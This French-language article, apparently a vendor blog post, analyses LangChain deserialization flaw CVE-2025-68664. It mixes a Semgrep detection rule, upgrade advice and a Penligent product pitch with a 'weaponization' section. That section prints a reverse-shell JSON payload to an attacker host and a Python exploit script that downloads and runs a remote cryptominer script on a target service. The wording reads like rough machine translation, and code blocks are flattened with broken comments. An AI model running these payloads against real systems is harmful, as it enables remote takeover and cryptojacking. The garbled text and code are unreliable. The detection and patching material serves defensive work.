Dans la guerre de sécurité de l'IA de 2025, la divulgation d'informations sur la sécurité de l'IA ne sera pas possible. Vulnérabilité d'injection de la sérialisation de LangChain CVE-2025-68664 avec la force d'une charge de profondeur. Si Prompt Injection consiste à "tromper" le modèle au niveau de la couche application, CVE-2025-68664 consiste à "posséder" le serveur au niveau de la couche infrastructure.
En tant que norme d'orchestration de facto pour l'IA agentique, la position de LangChain en matière de sécurité est essentielle. CVE-2025-68664 (CVSS 9.8, Critique) expose une faille architecturale fondamentale dans la façon dont le cadre gère la restauration des états complexes des agents : Défaut de contrôle dans l'instanciation d'un objet JSON.
Cet article abandonne les reportages superficiels. Dans une perspective de rétro-ingénierie, nous disséquerons les langchain-core de démanteler la chaîne d'appel complète, de JSON à RCE, et de fournir des règles d'automatisation de niveau entreprise pour les Blue Teams.
Anatomie de la vulnérabilité : Quand charge Devient une porte dérobée
La puissance de LangChain réside dans sa composabilité. Pour assurer la persistance des chaînes et des agents, LangChain fournit les éléments suivants dumpd et charge permettant de sérialiser les objets Python en JSON et de les désérialiser en mémoire.
La racine de CVE-2025-68664 réside dans le langchain-core/load/load.py module. Dans les versions antérieures au correctif 2025, le chargeur s'appuyait sur un mécanisme de mappage pour décider quelles classes pouvaient être instanciées. Cependant, ce mécanisme comportait une faille logique : lors du traitement d'objets sérialisés marqués en tant que constructeur le chargeur n'a pas réussi à valider strictement le chemin d'accès au module dans le fichier id champ. Cela permet aux attaquants de contourner la liste d'autorisation et de charger des modules globaux Python arbitraires.
Défaillance de la logique au niveau de la source
Dans les versions concernées, la logique de chargement ressemblait à peu près à ceci (simplifié pour plus de clarté) :
Python
`# Représentation conceptuelle de la logique vulnérable def load(obj, secrets_map=None) : if isinstance(obj, dict) and "lc" in obj : # Extraction de l'ID de l'objet, par exemple, ["langchain", "llms", "OpenAI"] lc_id = obj.get("id")
# VULNERABILITE : Bien que la vérification existe, elle ne bloque pas les bibliothèques standard.
# Une charge utile de l'attaquant ["subprocess", "check_output"] passe par
si obj.get("type") == "constructor" :
return _load_constructor(lc_id, obj.get("kwargs"))`
Les attaquants exploitent cette situation en élaborant des lc_id pour induire des importlib pour charger les modules sensibles du système (comme os, sous-processus, sys) et transmettent des arguments malveillants à leurs constructeurs.
L'armement : Concevoir la charge utile RCE parfaite
Pour les chercheurs de la Red Team, la compréhension de la construction de la charge utile est essentielle à la vérification. CVE-2025-68664 ne nécessite pas de débordement binaire complexe - juste un extrait de JSON précis.
Phase 1 : Le prototype de l'exploit (PoC)
Une charge utile JSON standard conçue pour ouvrir une calculatrice ou un shell inversé ressemble à ceci :
JSON
{"lc" : 1, "type" : "constructor", "id" : ["subprocess", "check_output"], "kwargs" : {"args" : ["bash", "-c", "bash -i >& /dev/tcp/attacker-ip/443 0>&1"], "shell" : false } }
Phase 2 : Script d'exploitation Python
Dans un scénario réel, un pirate injecterait cette charge utile dans le point de terminaison "Import Config" d'une application Web ou dans le magasin de mémoire d'un agent.
Python
`import requests import json

Cible : Un service d'agent d'intelligence artificielle acceptant les fichiers de configuration LangChain
url = "http://target-ai-service.com/api/v1/agent/import“
payload = { "lc" : 1, "type" : "constructor", "id" : ["subprocess", "run"], "kwargs" : { "args" : ["wget http://malware.com/miner.sh -O /tmp/x ; sh /tmp/x"], "shell" : True, "capture_output" : True } }
Envoi des données sérialisées malveillantes
Le serveur déclenche un RCE lors de l'appel à langchain.load(json_data)
r = requests.post(url, json=payload, headers={"Content-Type" : "application/json"}) print(f "Attack Status : {r.status_code}")`
Une défense pilotée par l'IA : La technologie d'audit approfondi de Penligent
Les scanners Web traditionnels (comme Nikto ou OWASP ZAP) échouent généralement contre CVE-2025-68664 parce qu'ils ne peuvent pas comprendre l'impact sémantique d'une charge utile JSON sur l'exécution Python. Ils voient du JSON valide ; le serveur voit une instruction d'exécution de commande.
C'est ici que Penligent.ai démontre sa supériorité technique. Penligent utilise Audit sémantique de la sérialisation:
- Analyse inverse AST : Les agents d'intelligence artificielle de Penligent ne se contentent pas de fuzzer à l'aveugle. Ils analysent d'abord l'AST (Abstract Syntax Tree) de l'application cible pour identifier la version spécifique de LangChain et la logique de chargement. Ils identifient les
chargedans la base de données. - Vérification dynamique du bac à sable : Lors de la détection, Penligent simule le processus de chargement dans un micro-VM isolé. Il injecte des objets sérialisés contenant des "jetons Canary". Si l'objet déclenche avec succès une requête réseau hors bande (requête DNS), le système confirme la vulnérabilité avec zéro faux positif.
Pour les équipes de sécurité des entreprises, Penligent offre un spectre de défense complet, de l'engagement du code à la surveillance de l'exécution, garantissant qu'aucune configuration d'agent malveillant ne se glisse dans la production.
Manuel de l'équipe bleue : Détection et remédiation
Avant que les correctifs ne soient entièrement déployés, les équipes bleues ont besoin de règles de détection pour identifier les tentatives d'attaque.
1. Règle d'analyse statique Semgrep
Ajoutez la règle suivante à votre pipeline CI/CD pour analyser votre base de code à la recherche d'appels vulnérables :
YAML
`rules :
- id : langchain-unsafe-load patterns :
- pattern : langchain.load.load(...)
- pattern-not : langchain.load.load(..., valid_namespaces=["langchain"]) message : "Désérialisation LangChain non sécurisée détectée. CVE-2025-68664 permet un RCE. Restreindre valid_namespaces ou mettre à jour immédiatement" languages : [python] severity : ERROR`
2. Remédiation d'urgence
Plan A (recommandé) : Dépendances de la mise à niveau
LangChain a corrigé cette logique dans langchain-core >= 0.3.15, en introduisant un mécanisme strict de liste d'autorisation par défaut.
Plan B (temporaire) : Durcissement du code
Si vous ne pouvez pas procéder à une mise à niveau immédiate, vous devez limiter manuellement le champ d'application de la fonction de chargement :
Python
`from langchain_core.load import load
Autoriser le chargement uniquement à partir de l'espace de noms langchain
Rejette les sous-processus, os et autres modules du système
safe_config = load( unsafe_json_data, valid_namespaces=["langchain", "langchain_community"] )`
Conclusion
Vulnérabilité d'injection de la sérialisation de LangChain CVE-2025-68664 prouve une fois de plus que la sécurité de l'infrastructure de l'IA ne peut pas reposer sur une "confiance implicite". Alors que les applications LLM évoluent de "Chatbots" à "Agents autonomes", la surface d'attaque ciblant la sérialisation, le stockage d'état et l'invocation d'outils va croître de manière exponentielle.
Les ingénieurs en sécurité doivent reconnaître que derrière chaque charger() il se peut qu'un Shell attende.

